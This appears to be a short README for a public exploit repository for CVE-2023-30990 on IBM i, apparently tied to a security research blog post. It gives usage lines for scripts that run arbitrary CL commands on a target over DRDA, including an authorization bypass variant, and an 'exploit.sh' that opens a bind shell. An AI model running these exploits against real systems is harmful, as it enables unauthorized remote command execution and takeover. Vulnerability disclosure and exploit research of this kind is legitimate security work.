CVE-2023-30990 exploits

See our blog post for details: https://blog.silentsignal.eu/2025/09/04/Exploit-development-for-IBM-i/

The Python scripts require the ebcdic module: pip install ebcdic

DRDA S38CMD method

python3 ddm.py <IP> "<CL COMMAND>"

DRDA SQL method

python3 ddm-bypass-test.py <IP> "<CL COMMAND>"

Simple bindshell with S38CMD method

./exploit.sh <IP>